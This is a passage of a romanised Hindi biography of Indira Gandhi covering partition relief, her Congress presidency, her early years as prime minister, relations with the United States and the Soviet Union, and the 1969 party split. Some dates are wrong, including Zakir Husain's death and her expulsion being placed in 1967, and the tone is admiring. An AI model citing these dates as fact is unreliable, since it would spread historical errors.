us samay desh vibhajan ke kinare par tha. jinna ke netritv mean muslim lig ne pakistan ki maang ki thi aur aangrez bhi jinna ki maang ko spasht hava de rahe the lekin gaandhiji vibhajan ke paksh mean nahian the. l aaurd mauantabetan kootaniti ka khel khelane mean lage hue the. vah ek or mahatma gaandhi ko ashvast kar rahe the ki desh ka vibhajan nahian hoga to doosari or pandit neharoo se kah rahe the ki do rashtroan ke vibhajan ke ph aaurmoole par hi azadi pradan ki jaegi. pandit neharoo sthiti ki ganbhirata ko samajh rahe the jabaki mahatma gaandhi is bhram mean the ki aangrez vayasaray vibhajan nahian chahata hai. jinna ki anuchit maang ke karan hindoo aur musalamanoan mean vaimanasy pasar gaya tha. mahattvakaankshi jinna pakistan ka pradhanamantri banane ke lie bahut lalayit the. mahatma gaandhi ne jinna ko sanpoorn aur akhand bharat ka pradhanamantri banane ka ashvasan diya. lekin jinna yah janate the ki pandit neharoo ke karan yah sanbhav nahian hai. hindoo kisi bhi muslim ko pradhanamantri ke roop mean svikar nahian kareange. aise mean desh saanpradayik dangoan ki ag mean jhulasane laga tha. mahatma gaandhi kisi tarah dangoan ki ag shaant karana chahate the. dilli mean bhi kee sthanoan par iansaniyat sharmasar ho rahi thi. tab mahatma gaandhi ne iandira ji ko yah muhim sauanpi ki vah dangagrast kshetroan mean jakar logoan ko samajhaean aur aman lautane mean madad karean.

dangagrast kshetroan ka daura

iandira gaandhi ne phir mahatma gaandhi ke adesh ko shirodhary kiya aur dangagrast kshetroan mean donoan samudayoan ke logoan ko samajhane ka prayas karane lagian. vastutah yah atyant jokhim kary tha. pandit neharoo ki beti hone ke karan ativadi unhean nuqasan pahuancha sakate the parantu nirbhik iandira ne dangoan ki ag shaant karane ke lie purazor prayas kie. lekin 15 agast ke bad saanpradayikata apane charam par pahuanch gee. dangoan mean donoan samudayoan ke anaginat log maut ke ghat utar die ge. pakistan se lakhoan sharanarthi dilli a ge the. sharanarthiyoan ke punarvas ka saval bhi utpann ho gaya tha. un bhookhe-pyase ghar se bhage logoan ke lie prathamik avashyakataean bhi jaroori thian. aisi sthiti mean dilli ke kee sthanoan par sharanarthi evan danga pi dit shivir lagae ge the. pandit neharoo ne 17, park rod ke apane bangale par bhi sharanarthi shivir lagae. sharanarthiyoan ke jivan ki buniyadi suvidhaoan ka dhyan rakha ja raha tha. us samay mahatma gaandhi pashchim bangal ke noakhali zile mean jahaan muslimoan ki kee bastiyoan ko jala diya gaya tha. pakistan se ane vali trenoan mean hazaroan hinduoan ki lashean bhi a rahi thian. is karan hindoo akroshit hokar musalamanoan par hamala kar rahe the.

ghar mean sharanarthi shivir

pandit javaharalal neharoo ke bangale mean jo sharanarthi shivir lagae ge the, unaki dekharekh iandira gaandhi hi kar rahi thian. sabhi kamare khali karake sharanarthiyoan ko unamean thahara diya gaya tha aur praangan adi mean bhi tamboo ityadi laga die the taki adhikadhik sharanarthiyoan ko vahaan rakha ja sake. yahaan ki sabhi vyavastha iandira gaandhi dvara dekhi ja rahi thi. aantarim sarakar ke gathan ke sath pandit neharoo karyavahak pradhanamantri bana die the. 26 janavari, 1950 ko bharat ka sanvidhan bhi lagoo ho gaya. bharat ek ganataantrik desh bana aur pradhanamantri neharoo ki sakriyata kafi adhik badh gee. is samay neharooji ka nivas trimoorti bhavan hi tha. samay-samay par vibhinn deshoan ke agantuk trimoorti bhavan mean hi neharooji ke pas ate the. unake svagat ke sabhi iantazam iandira gaandhi dvara kie jate the. sath hi sath umradaraz़ ho rahe pita ki avashyakataoan ko bhi iandira dekhati thian.

rajaniti

[[chitr:Indira-Gandhi-4.jpg|thumb|250px|iandira gaandhi ki pratima, kolakata
Statue Of Indira Gandhi, Kolkata]] iandira priyadarshini ko parivar ke mahaul mean rajanitik vicharadhara virasat mean prapt huee thi. yahi karan hai ki pati firoz gaandhi ki mrityu se poorv hi iandira gaandhi pramukh rajanitijn ban gee thian. kaangres parti ki karyakarini mean inaka chayan 1955 mean hi ho gaya tha. vah kaangres sansadiy mandal ki bhi sadasya rahian. pandit neharoo inake sath rajanitik paramarsh karate aur un paramarshoan par amal bhi karate the.

parti mean iandira gaandhi ka qad

1957 ke am chunav ke samay pandit neharoo ne jahaan shri lalabahadur shastri ko kaangresi ummidavaroan ke chayan ki zimmedari di thi, vahian iandira gaandhi ka sath shastriji ko prapt hua tha. shastriji ne iandira gaandhi ke paramarsh ka dhyan rakhate hue pratyashi tay kie the. lokasabha aur vidhanasabha ke lie jo ummidavar iandira gaandhi ne chune the, unamean se lagabhag sabhi vijayi hue aur achchhe rajanitijn bhi sabit hue. is karan parti mean iandira gaandhi ka qad kafi badh gaya tha. lekin isaki vajah iandira gaandhi ke pita pandit neharoo ka pradhanamantri hona hi nahian tha iandira mean vyaktigat yogyataean bhi thian.

kaangres ki adhyaksh

iandira gaandhi ko rajanitik roop se age badhane ke arop us samay pandit neharoo par lage. 1959 mean jab iandira ko kaangres ka adhyaksh banaya gaya to kee alochakoan ne dabi juban se pandit neharoo ko parti mean parivaravad phailane ka doshi thaharaya tha. lekin ve alochana itane mukhar nahian the ki unaki batoan par tavajjo di jati.

vastutah iandira gaandhi ne samaj, parti aur desh ke lie mahattvapoorn kary kie the. unhean aantarrashtriy star par pahachan prapt thi. videshi rajanayik bhi unaki prashansa karate the. is karan alochana doodh mean uthe jhag ki tarah baith gee. kaangres adhyaksha ke roop mean iandira gaandhi ne apane kaushal se kee samasyaoan ka nidan kiya. unhoanne nari shakti ko mahattv dete hue unhean kaangres parti mean mahattvapoorn pad pradan kie. yuva shakti ko lekar bhi unhoanne abhootapoorv nirnay lie. iandira gaandhi 42 varsh ki umr mean kaangres adhyaksha bani thian.

parti ke sammukh samasyaean

shrimati iandira gaandhi jab kaangres ki adhyaksha banian to us samay parti ke sammukh do b di samasyaean thian,

pahali samasya

ek samasya thi muanbee ki jahaan marathi aur gujarati kafi sankhya mean the. marathi aur gujarati bhasha ke karan hi donoan samudayoan mean paraspar sauhardr bhav nahian tha. isaka karan yah tha ki gujarati log muanbee ko apana manate the aur marathi log apana jabaki us samay ki muanbee desh ki arthik rajadhani kahi jati thi. yah mudda atyant sanvedanashil tha. isi karan use sanh 1959 tak nahian sulajhaya ja saka.

sach to yah hai ki netagan bhi is mudde ko thande baste mean dale rakhana chahate the. bhashaee adhar par pahale bhi aandolan hote rahe jo hiansak bhi ho uthate the. phir moraraji desaee gujarati the aur kaangres parti mean unaka qad b da tha. lekin iandira gaandhi ne is samasya ko jas ka tas banae rakhane ke bajay isaka nidan karana hi uchit samajha. us samay muanbee ek rajy tha aur gujarat tatha maharashtr donoan isamean ate the. aise mean iandira gaandhi ne rajy sarakar par dabav banakar muanbee rajy ka vibhajan kar diya.

muanbee rajy ke vibhajan ke bad do rajy astitv mean ae. ek rajy gujarat bana jisaki rajadhani ahamadabad huee aur doosara rajy maharashtr bana jisaki rajadhani muanbee shahar ko banaya gaya. vibhajan ko lekar jo nakaratmak poorvagrah the. ve sabhi vyarth sabit hue. vibhajan ke bad gujarat tatha maharashtr ne kafi unnati bhi ki sabase achchhi bat to yah thi ki vibhajan ke bad donoan samudayoan ke prem mean bahut izafa hua. donoan rajyoan ne desh ki arthik unnati mean bhi ullekhaniy yogadan dena aranbh kar diya.

doosari samasya

isi prakar doosari samasya thi keral ki jahaan samyavadi sarakar shasan kar rahi thi. parti adhyaksha iandira gaandhi ne keral ki sarakar ko barkhast kar diya. iandira gaandhi parti adhyaksha ke roop mean kafi saphal rahian. unhean parti ke adhyaksh ka karyabhar do varshoan ke lie pun: sauanpa gaya. lekin iandira gaandhi ne ek varsh bad hi kaangres adhyaksha ka pad chho d diya. us samay vipakshi rajanitijn aksar kaha karate the, pita banae ge pradhanamantri aur beti ko bana diya parti adhyaksh. iandira ji ko is prakar ki tika-tippani achchhi nahian lagati thi. iandira gaandhi ka jo bhi rajanitik jivan pandit neharu ke samay mean raha, use ek prakar se pandit neharu ki pradhanamantritv shakti ka parinam mana gaya. neharuji ki mrityu ke pashchat yah mana ja raha tha ki parti ke dhurandhar neta iandira gaandhi ko hashiye par dhakel degean.

pandit neharu ki mrityu

mukhy lekh : javaharalal neharoo

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pandit javaharalal neharoo (14 navambar, 1889 - 27 mee, 1964) bharatiy svatantrata sangram ke mahan senani evan svatantr bharat ke pratham pradhanamantri (1947-1964) the. 27 mee 1964 ko jab pandit neharu ki mrityu huee tab pahale ki bhaanti kaangres parti par unaki pak d mazaboot nahian rah gee thi. parti mean unaki sakh bhi kamazor huee thi. chin yuddh mean bharat ki parajay ke karan pandit neharu ki lokapriyata kam huee thi aur lakave ke karan bhi unhean sharirik roop se aksham man liya gaya tha. lekin deshahit mean kie ge unake abhootapoorv karyoan ki abha ne pandit neharu ko pradhanamantri banae rakha. jis prakar krishna menan ko chin se parajay ke bad raksha mantri ke pad se hatane ke lie vivash kiya gaya tha, vaisa hi pandit neharu ke sath bhi kiya ja sakata tha. lekin yah pandit neharu ka abhamandal tha ki parti ne us par nishtha bhav banae rakha. parantu parti par unaki pak d pahale jaisi mazaboot nahian rah gee thi. iandira gaandhi ne bhi is parivartan ko lakshy kar liya tha. pandit neharu ke bad lalabahadur shastri pradhanamantri banae ge. unhoanne kaangres sangathan mean iandira ji ke sath milakar kary kiya tha. shastriji ne unhean soochana evan prasaran mantralay sauanpa. apane is ne dayitv ka nirvahan bhi iandiraji ne kushalata ke sath kiya. yah zamana akashavani ka tha aur dooradarshan us samay bharat mean nahian aya tha. iandira gaandhi ne akashavani ke karyakramoan mean pherabadal karate hue use manoranjan banaya tatha usamean gunatmak abhivriddhi ki. 1965 mean jab bharat- pakistan yuddh hua to akashavani ka netavark itana mukhar tha ki samast bharat usaki avaz ke karan ekajut ho gaya. is yuddh ke dauran akashavani ka aisa upayog hua ki log rashtriyata ki bhavana se ot-prot ho uthe. bharat ki janata ne yah pradarshit kiya ki sankat ke samay ve sab ekajut haian aur rashtr ke lie tan-man dhan arpan karane ko taiyar haian. rashtrabhakti ka aisa jazba svatantrata sangram ke dauran bhi dekhane ko nahian prapt hua tha. iandira gaandhi ne yuddh ke samay simaoan par javanoan ke bich rahate hue unake manobal ko bhi ooancha uthaya jabaki isamean unaki ziandagi ko bhari khatara tha. kashmir ke yuddhagrast kshetroan mean jakar jis prakar unhoanne bharatiy saiannikoan ka manobal ooancha kiya, usase yah zahir ho gaya ki unamean netritv ke vahi gun haian jo pandit neharu mean the.

pradhanamantri pad par

[[chitr:Radhakrishnan-Indira-Gandhi-Kamaraj.jpg|thumb|250px|d aau. sarvapalli radhakrishnan, iandira gaandhi evan kumarasvami kamaraj]] iandira gaandhi lagatar tin bar (1966-1977) aur phir chauthi bar (1980-84) bharat ki pradhanamantri bani.

• bharat ke dvitiy pradhanamantri shri lalabahadur shastri ki mrityu ke bad shrimati iandira gaandhi bharat ki tritiy aur pratham mahila pradhanamantri nirvachit huee.
• 1967 ke chunav mean vah bahut hi kam bahumat se jit sakian.
• 1971 mean punah bhari bahumat se ve pradhamantri bani aur 1977 tak rahian.
• 1977 ke bad ye 1980 mean ek bar phir pradhanamantri banian aur 1984 tak pradhanamantri ke pad par rahian.

tashakand mean 11 janavari 1966 ko pradhanamantri lalabahadur shastri ki asamayik mrityu ke bad gulazari lal nanda ko karyavahak pradhanamantri banaya gaya. unhean tab tak is aantarim pad par rahana tha jab tak ki naya pradhanamantri nahian chun liya jata. tab kaangres ke adhyaksh kamaraj the. kamaraj ne pradhanamantri ke roop mean iandira gaandhi ke nam ka prastav rakha. lekin moraraji desaee ne bhi pradhanamantri pad ke lie svayan ka nam prastavit kar diya. is bar unhean samajhaya nahian ja saka. tab yah nishchay kiya gaya ki kaangres sansadiy parti dvara matadan ke madhyam se is gatirodh ko sulajhaya jae. lihaza matadan hua iandira gaandhi bhari matoan se vijayi huee. moraraji desaee ko parajay ka muanh dekhana p da. 24 janavari, 1966 ko iandira gaandhi ne pradhanamantri pad ki shapath grahan ki. janavari, 1966 mean shastriji ki achanak mrityu ke bad shrimati gaandhi parti ki dakshin aur vam shakhaoan ke bich sulah ke taur par kaangres parti ki neta (aur is tarah pradhanamantri bhi) ban geean, lekin unake netritv ko bhootapoorv vitt mantri moraraji desaee ke netritv mean parti ki dakshin shakha se lagatar chunauti milati rahi. is prakar shri lalabahadur shastri ke nidhan ke 13 din bad tisare pradhanamantri ke roop mean iandira gaandhi ne padabhar sanbhalana aranbh kar diya. rashtrapati d aauktar radhakrishnan ne iandira gaandhi ko pad aur gopaniy ki shapath grahan karaee. yah kahane ki avashyakata nahian hai ki pradhanamantri ki prabhari bhoomika se iandira ji bhali-bhaanti anubhavi thian. unake pita ka lanba karyakram unake lie anubhav bhara sabit hua phir bhi 1967 ke chunav mean vah bahut hi kam bahumat se jit sakian aur unhean desaee ko up-pradhanamantri svikar karana p da. lekin 1971 mean unhoanne any partiyoan ke gathabandhan ko bhari bahumat se parajit kiya.

arthavyavastha mean giravat

us samay desh mean vibhinn prakar ki chunautiyaan aur sankat the. pichhale tin varshoan mean bharat par do yuddh thope ge the. unake karan desh ki arthik sthiti kafi kamazor ho chuki thi. bharatiy arthavyavastha mean giravat ka rukh tha. audyogik utpadan ka graph bhi giravat ko pradarshit kar raha tha. desh mean khadyann sankat tha aur krishi ki sthiti dayaniy thi. iandira gaandhi ne khadyann sankat tatha sookhe ki mar se nibatane ke lie janata ka pratyaksh sahayog prapt kiya. unake ahran par desh ki janata ne dil kholakar rashtrahit mean apana yogadan diya. is prakar sookha rahat kosh ke madhyam se kafi dhan ekatr hua aur usase khadyann sankat ka muqabala kiya gaya. iandira gaandhi ne khadyann vitaran pranali ki kamiyoan ko bhi door kiya isase ganbhir sankat ka samay tal gaya aur bhukhamari se hone vali mautean kam ho gee. joon, 1966 mean iandira gaandhi dvara d aaular ki tulana mean rupaye ka avamoolyan karana galati sabit hua. un par amerika aantarrashtriy mudra kosh aur vishv baiank ka dabav tha ki bharatiy arthavyavastha ko sudharane ke lie rupaye ke mooly mean kami ki jae. lihaza avamoolyan se niryat mean vriddhi ka anuman tha. isamean videshi mudra kamane ka lakshy pramukh tha lekin yah anuman galat sabit hua. darasal bharat ka ayat zyada tha aur niryat kam. aise mean ayat mahanga ho gaya aur niryat sasta ho gaya.

is galat nirnay ka khamiyaja desh ko bhugatana p da aur bharatiy arthavyavastha rasatal mean pahuanch gee. videshoan mean bhi mudra ke avamoolyan se bharat ki sakh ko kafi batta laga. arthik vishleshakoan par khela gaya yah daanv nuqasan ka sauda sabit hua. avamoolyan ke karan jab arthik sthiti big d gee to desh bhar mean iandira gaandhi ke viruddh pradarshan hone lage. kaangres parti mean bhi iandira gaandhi ki alochana aranbh ho gee. vipakshi daloan ne kaangres ke viruddh pradarshan shuroo kar diya. iandira gaandhi ne desh ki khadyann sthiti ko sanbhalane ke lie shastriji dvara aranbh ki gee 'harit kraanti yojana' ka sahara liya. lekin bharat ko tatkal sahayata ki avashyakata thi. vah sahayata amerika pradan kar sakata tha. amerika un dinoan uttari viyatanam par sainik karravaee kar raha tha.

videsh niti

amerika ki chalaki

aprail 1966 mean iandira gaandhi ne amerika ki sarakari yatra ki. isaka uddeshy yah tha ki amerika pi.el. 480 ke aantargat bharat ko gehooan evan maudrik sahayata pradan kare. amerika ne 35 lakh tan gehooan aur lagabhag hazar miliyan d aaular ki arthik sahayata karane ki peshakash rakhi. lekin ameriki rashtrapati j aaunasan chahate the ki isake badale mean bharat amerika ke paksh mean bayan jari karake uttari viyatanam yuddh ko uchit thaharae. us samay uttari viyatanam par hue ameriki akraman ke karan sari duniya mean amerika ki tivr bhartsana ki ja rahi thi. lekin pradhanamantri iandira gaandhi ne is prakar ka koee vaktavy bharat sarakar ki or se nahian diya. ameriki rashtrapati ko poori ummid thi ki kathin samay se joojhate bharat dvara usaki yuddh niti ki vakalat avashy ki jaegi. lekin jab amerika ki yah ummid poori nahian huee to amerika ne bhi bharat ki sahayata ke lie die ge apane poorv vachan ko thande baste mean dal diya. jab iandira gaandhi ko yah vishvas ho gaya ki amerika sashart sahayata karana chahata hai to unhoanne ameriki yuddh niti ki kafi bhartsana ki aur uttari viyatanam par ameriki hamale ko sanyukt rashtr sangh ki nitiyoan ke viruddh bataya. amerika ko bharat se aisi tikhi alochana ki ummid nahian thi. lihaza amerika se madad ka rasta band ho gaya. iandira gaandhi ne bhi samajhadari dikhate hue soviyat sangh ki or maitri ka hath badha diya. yahi us samay ki videshi niti aur kootaniti ki maang thi.

soviyat sangh se maitri

samast vishv do mahashaktiyoan ke samarthan mean banta hua tha. ek khaima amerika ka tha aur doosara soviyat sangh ka. is prakar poori duniya do gutoan mean bant gee thi lekin bharat ki videshi niti ka adhar gutanirapekshata tha. at: iandira gaandhi ne is niti par qayam rahate hue soviyat sangh se mitrata ki ummid rakhi. 1966 ke julaee mah mean iandira gaandhi ne soviyat sangh ki yatra ki. tab unhoanne soviyat sangh ke sath ek sanyukt vaktavy par hastakshar kiya jisamean amerika ki nianda karate hue uttari viyatanam par kie ge hamale ko samrajyavadi niti ka hissa bataya gaya tha. is vaktavy mean yah bhi maang ki gee thi ki amerika avilanb tatha bina kisi shart ke uttari viyatanam mean yuddh band kare. yuddh viram ki vakalat karate hue bharat ne spasht kar diya ki vah amerika ke kheme mean rahane ko qatee ichchhuk nahian hai. is vaktavy ke bad bharat aur soviyat sangh ki maitri ko naya ayam prapt hua. ek vishal janasankhya vale b de desh bharat ko apana mitr banakar soviyat rus bhi kafi prasann tha.

isake atirikt iandira gaandhi ne vaqt ki zarurat ko dekhate hue yah samajh liya ki gutanirapeksh deshoan ke sangathan ko adhik mazaboot banane ki avashyakata hai taki kisi bhi sankat ko apasi sahayog aur rajanitik ichchha shakti se use door kiya ja sake. is prakar kisi bhi gutanirapeksh desh ko shakti sanpann desh ka muanh takane ki avashyakata n rahean. is dauran misr aur yoogoslaviya ke sath bhi bharat ke maitri sanbandh vikasit hue. donoan deshoan ke rashtradhyaksh kramash: abdul nasir aur josef tito ne bhi dilli mean ayojit gutanirapeksh deshoan ke sammelan mean apani upasthiti darj karavaee. is prakar ek svatantr videsh niti dvara bharat ne apani vishisht chhavi banaee.

desh ki aantarik chunautiyaan

[[chitr:Indira-Gandhi-Memorial.jpg|thumb|250px|iandira gaandhi ki pratima, shimala
Statue Of Indira Gandhi, Shimla]] aantarrashtriy star par iandira gaandhi ki prasiddhi badh gayi thi lekin desh mean unaki sthiti kharab ho rahi thi. kaangres ke hi b de neta nahian chahate the ki iandira gaandhi pradhanamantri rahean. iandira gaandhi un samasyaoan ka nirakaran karana chahati thian. jo unhean virasat se prapt huee thi. lekin unake sath kisi bhi prakar ka sahayog nahian kiya gaya desh ki krishi manasoon par adharit thi aur do varsh anavrishti ke roop mean guzare the. kachcha mal upalabdh n hone ke karan audyogik mal ka utpadan bhi kam ho gaya tha.

parti mean gutabazi

desh mean vibhinn staroan par asantosh vyapt tha. iandira gaandhi ke pradhanamantri banane se pahale hi logoan mean kee prakar ka akrosh tha. desh mean berozagari ashiksha aur mahangaee ki samasya thi. ae din dharana evan pradarshan adi ho rahe the. pandit neharu ne jis samajavadi samaj ka svapn dekha tha, vah bhi kafi door hota nazar a raha tha kyoanki desh mean pooanjivadi vyavastha maujood thi. yahi karan hai ki bharat mean amiri aur garibi ke madhy ki khaee gahari hoti ja rahi thi. desh mean dharm, jati, praant, bhasha, aur arthik vishamata ke karan kee varg ban ge the jo tikhe tevar pradarshit kar rahe the tatha vipaksh unake asantosh ko badhava dene ka kary kar raha tha. aisi sthiti mean desh mean hone vale aandolanoan mean hiansa ka prayog badhane laga. asamajik tatvoan dvara sarvajanik sanpattiyoan ko nuqasan pahuanchana ae din ki ghatana ho gee thi. yahaan tak ki pulis par bhi hamala karane mean aandolanakari pichhe nahian rahate the. sarakari karmachari bhi vetan badhae jane ki maang lekar desh ko pangu banane ka kary kar rahe the. unake dvara rajakiy karyoan ka bahishkar kiya ja raha tha.

idhar svayan kaangres ki sthiti bhi kafi kharab thi. parti mean gutabazi aur khaimabandi hone lagi thi. iandira gaandhi ko pradhanamantri banate samay kee logoan ne socha tha ki ve unhean apani kathaputali banakar rakheange, lekin jab aisa nahian hua to ve log bhi kheme mean shamil ho ge jo asantusht the. udhar sansad mean bhi maryadaoan ka hanan ho raha tha. chooanki 1967 mean chunav hone the, at: vipaksh ne aandolan ko janm dena aranbh kar diya. doosari taraph moraraji desaee pradhanamantri n banane se naraz the. to gulazari lal nanda ko yah dukh tha ki parti ne unaki vafadari ki koee qimat nahian samajhi. yadyapi gulazari lal nanda us samay desh ke grih mantri the.

vipaksh ki bhoomika

iandira gaandhi ne grih mantri gulazari lal nanda se istipha dene ko kaha. isi ke sath gulazari lal nanda ka rajanitik bhavishy bhi samaptapray ho gaya. samajavadi neta ram manohar lohiya ne iandira gaandhi ko 'gooangi gu diya' ke nam se sanbodhit kiya. us samay ramamanohar lohiya behad sammanit neta the aur pandit neharu ke sath unake mat bhed the. vah apani nitiyoan ki sada alochana bhi karate the lekin lohiya is sanbandh mean apani maryada mean nahian rah pae. 1967 ke chunav ke dauran kaangres parti mean aantarkalah machi huee thi. us samay janata ke madhy iandira gaandhi jaisi lokapriyata vali shakhsiyat kaangres parti mean koee doosari nahian thi. unaka karishmaee vyaktitv hi parti ko jit dila sakata tha. lekin us samay ke kaangresiyoan ne yah soch liya tha ki kaangres azadi ke bad do am chunav jit chuki hai aur log kaangres parti ko hi vot dete haian. parantu yah kaangres ke asantushtoan ki bhari bhool thi.pandit neharu ne desh ke lie jo kuchh kiya tha, janata usaki gavah thi.

bharatiy janata yah bhi janati thi ki chin se yuddh harane ka karan neharuji nahian the. balki desh ki kamazor sthiti hi thi. neharuji desh ko mazaboot karana chahate the, n ki sena ko mazaboot banana. is karan shaanti ke pratik neharuji ko bharatiy janata ne dosh nahian diya. lekin karo doan ki abadi vale desh mean sabhi unake sath nahian ho sakate the kyoanki yah manaviy svabhav hai. yadyapi vipaksh ko lagata tha ki janata neharuji se naraz thi.

bhuvaneshvar mean ghayal

aise mean kaangres parti mean asantusht havi ho ge aur iandira gaandhi ko us samay hashiye par dal diya gaya. jab am chunav ke lie tikat vitaran ka kary kiya ja raha tha tab kamaraj ne kaman apane hath mean sanbhal li. bhuvaneshvar ki chunavi sabha mean iandira gaandhi par kuchh asamajik tatvoan ne achanak patthar barasane aranbh kar die. is karan unaki nak ki haddi toot gee aur hoanth phat gaya. iandira gaandhi raktaranjit ho uthian. bhuvaneshvar mean yah bartav kisi bhi nazariye se uchit nahian tha. iandira gaandhi ko aspatal mean upachar karana p da. tab pit patrakarita ne is ghatana ko manovinod ka keandr bana diya. lokatantr ke nam par jis ghatana ki bhartsana honi chahie thi, use midiya ne manoranjan ki tarah pesh kiya. log kahane lage- iandira gaandhi ki nak toot gee athava chunav ke natijoan se poorv hi unaki nak kat gee.

chunavoan ke natije

baharahal chunav sanpann hue aur natije bhi a ge. keandr mean kaangres beshak satta mean a gee lekin vibhinn kee rajyoan mean usaki sthiti kafi kharab ho gee thi. kee rajyoan mean kshetriy partiyoan ne bazi mari aur kuchh rajyoan mean gathabandhan sarakarean banian. rajyoan ki yah halat keandr mean kaangres parti ki kamazori ke karan huee thi. jin rajyoan mean kaangres parti ki sarakarean thian, vahaan kshetriy kaangresajanoan ne satta ka sukh bhoga aur anek logoan ne kafi dhan-sanpada banaee. is karan kaangres ke viruddh aisa mahaul bana. vipaksh ne bhi mudde ki rajaniti karane ke bajay kaangres aur iandira gaandhi ko hi apana nishana banaya. us samay vipaksh kafi had tak sangathit bhi ho haya tha. lekin janata ke samane vah sakaratmak batean n rakhane ki bhari bhool kar baitha. vipaksh ko laga tha ki kaangres par kich d uchhalane se use vijay ka marg mil jaega athava unhean nicha dikhakar vah ooancha ho jaega. yahi karan hai ki janata ne vipaksh par vishvas nahian kiya. beshak kaangres vijayi rahi lekin use kee sitoan ki har ka samana karana p da.

rajyoan mean kaangres ki har ka karan avivekapoorn dhang se kiya gaya tikatoan ka vitaran bhi tha. ayogy ummidavaroan ko tikat pradan kie ge. isase yogy ummidavaroan mean asantosh phail gaya. ve bagi ummidavaroan ke roop mean kaangres pratyashiyoan ke viruddh kh de ho ge. is karan kaangres ki aantarkalah ne rajyoan mean kaangres ka nuqasan kar diya. kshetriy partiyoan mean bhi gathabandhan hue the. partiyoan ne gathabandhan karate hue yah dhyan rakha tha ki kaangres ko harana hai. lohiya ki samajavadi parti ne janasangh se hath mila liya. samyavadiyoan ne dakshin panthiyoan se hath milane nean koee hichakichahat pradarshit nahian ki. muslim lig ke sath kee partiyoan ne gathabandhan sarakar banaee. rajasthan ke bhootapoorv raje-maharajaoan ne milakar ek svatantr parti ka gathan kiya. unhoanne iandira gaandhi ki chunav sabhaoan mean hu dadanh machaya. ye log vilasitapoorn pravriti ke lie jane jate the aur shoshan ko apana janmasiddh adhikar samajhate the. ve log lokatantr ke madhyam se satta par qabij hone ka prayatn karane lage. in raje rajava doan mean se anek ne desh ki azadi ke mahasangram ke samay aangrejoan ka sath diya tha.

keandr tatha rajy donoan sthanoan par kaangres mean giravat dekhane ko prapt huee. lekin 1967 ke am chunavoan ke natije iandira gaandhi ke hi paksh mean ge. siandiket ke mazaboot stanbh kahe jane vale netaoan ko janata ne dhool mean mila diya. kamaraj ko parajay ka mukh dekhana p da. tab inhean kiang mekar ki sanjna pradan ki jati thi. es.ke.patil sahit siandiket ke anek dhurandharoan ko har ka samana karana p da. iandira gaandhi vijayi rahian. is prakar kaangres mean unaka varchasv svat: qayam ho gaya kyoanki unake pratidvandvi chunav mean har ge the. siandiket ke mazaboot sipahasalaroan mean se moraraji desaee hi chunav jit pane mean saphal hue. lekin unake sathiyoan ka saphaya ho jane ke karan vah kamazor sthiti mean the. phir bhi iandira gaandhi ne unhean purane kaangresi hone ke karan samman ke sath up pradhanamantri aur vitt mantri ka pad pradan kiya. iandira gaandhi ko ummid thi ki vah santusht hokar kaangres ki behatari ke lie kary kareange lekin yah iandira gaandhi ki bhool thi. moraraji desaee ko nishthavan banae rakhane mean iandira gaandhi age chalakar viphal rahian.

kaangres ka vibhajan

[[chitr:Indira-Gandhi-Museum-Delhi.jpg|thumb|250px|iandira gaandhi sangrahalay, dilli
Indira Gandhi Museum, Delhi]] iandira gaandhi pun: pradhanamantri ban gee lekin siandiket ka parabhav lanbe samay tak nahian chala. kamaraj aur es. ke. patil up chunavoan ke madhyam se vijayi hokar saansad ban ge. unhoanne moraraji desaee ko apane sath milakar siandiket ko pun: mazaboot bana liya. aise mean siandiket ne dava kiya ki kaangres ka pradhanamantri parti se oopar nahian hai aur parti ki nitiyoan ke anusar hi pradhanamantri ko shasan karane ka adhikar hota hai.

1967 ke aant mean kamaraj ka adhyakshiy karyakal samapt hona tha. iandira gaandhi ko yah ummid bandhi ki parti ka naya adhyaksh pad nijaliangappa ke supurd ho gaya. siandiket ne tay kar liya ki iandira gaandhi ko pradhanamantri pad se hatakar siandiket ke kisi vafadar vyakti ko is pad par niyukt kiya jae. moraraji desaee ne pradhanamantri banane ke lie apani razamandi bhi de di. iandira gaandhi bhi khatare ko bhaanp chuki thi. lekin upayukt avasar ka iantazar karane lagian. vah svayan pahala var nahian karana chahati thian. unhean yah avasar mee 1967 mean tab prapt hua jab d aauktar zakir husain ki rashtrapati pad par karyakal ke dauran mrityu ho gee. ne rashtrapati ke chunav ne yah bhoomika banaee ki iandira gaandhi ar-par ki l daee l d sakean. tab siandiket ne ne rashtrapati ke roop mean nilam sanjiv reddi ka nam prastavit kiya. phir kaangres ki or se unaka namaankan bhi kar diya gaya.

sudharavadi arthik karyakram

siandiket chahati thi ki reddi ke rashtrapati chune jane ke bad iandira gaandhi ko pradhanamantri pad chho dane ke lie vivash kar diya jae. iandira gaandhi ko siandiket ki is chal ka poorvanuman tha. unhoanne tatkalin uparashtrapati vi.vi. giri ko rashtrapati ummidavar ke roop mean kh da kar diya. isase janata ke madhy unaki chhavi khandit huee ki vah parti ke viruddh ja rahi haian. lekin iandira gaandhi ko yah pata tha ki unhean age kya karana hai. lihaza unhoanne moraraji desaee se vitt mantralay vapas le liya. ab iandira gaandhi ne vitt mantralay apane pas rakhate hue kee arthik karyakram chalae. unhoanne desh ke mahattvapoorn 14 baiankoan ka rashtriyakaran kar diya taki ve sarakar ki arthik niti ke anusar acharan kar sakean.

iandira gaandhi ne doosara qadam yah uthaya ki bhootapoorv raja-maharajaoan ko jo b di rashi privipars ke roop mean milati a rahi thi, usaki samapti ki ghoshana kar di. in b de do qadamoan ke karan janata ke madhy iandira gaandhi ki ek sudharavadi pradhanamantri ki chhavi qayam huee aur unaki lokapriyata ka graf ekadam hi uchhal gaya. garib, dalit, madhyam varg aur buddhijivi varg sabhi ne iandira gaandhi ke sudharavadi qadamoan ki jamakar prashansa ki. idhar siandiket ne iandira gaandhi par zor dala ki vah nilam sanjiv reddi ke rashtrapati chunav hetu 'vhip' jari karean. lekin unhoanne iankar kar diya aur aantaratma ki avaz par yogy ummidavar ko vot dene ki apil ki. iandira gaandhi ne apani sudridh chhavi banakar vi.vi giri ke lie marg saf kar diya. vi. vi. giri rashtrapati ke roop mean nirvachit hue aur siandiket ko pun: muhan ki khani p di.

12 navanbar, 1967 ko iandira gaandhi ko pradhanamantri pad par rahate hue parti se nishkasit kar diya. is prakar ve unhean pradhanamantri pad se apadasth karana chahate the. jo vyakti parti ki sadasyata se nishkasit ho chuka ho, vah us parti ki or se pradhanamantri kaise rah sakata tha? isake javab mean iandira gaandhi ne kaangres parti ko vibhajit kar diya. unhoanne apani kaangres ko kaangres-ar (rikvisishanist) karar diya jabaki siandiket ki kaangres ko kaangres-o (argenaijeshan) nam prapt ho gaya.

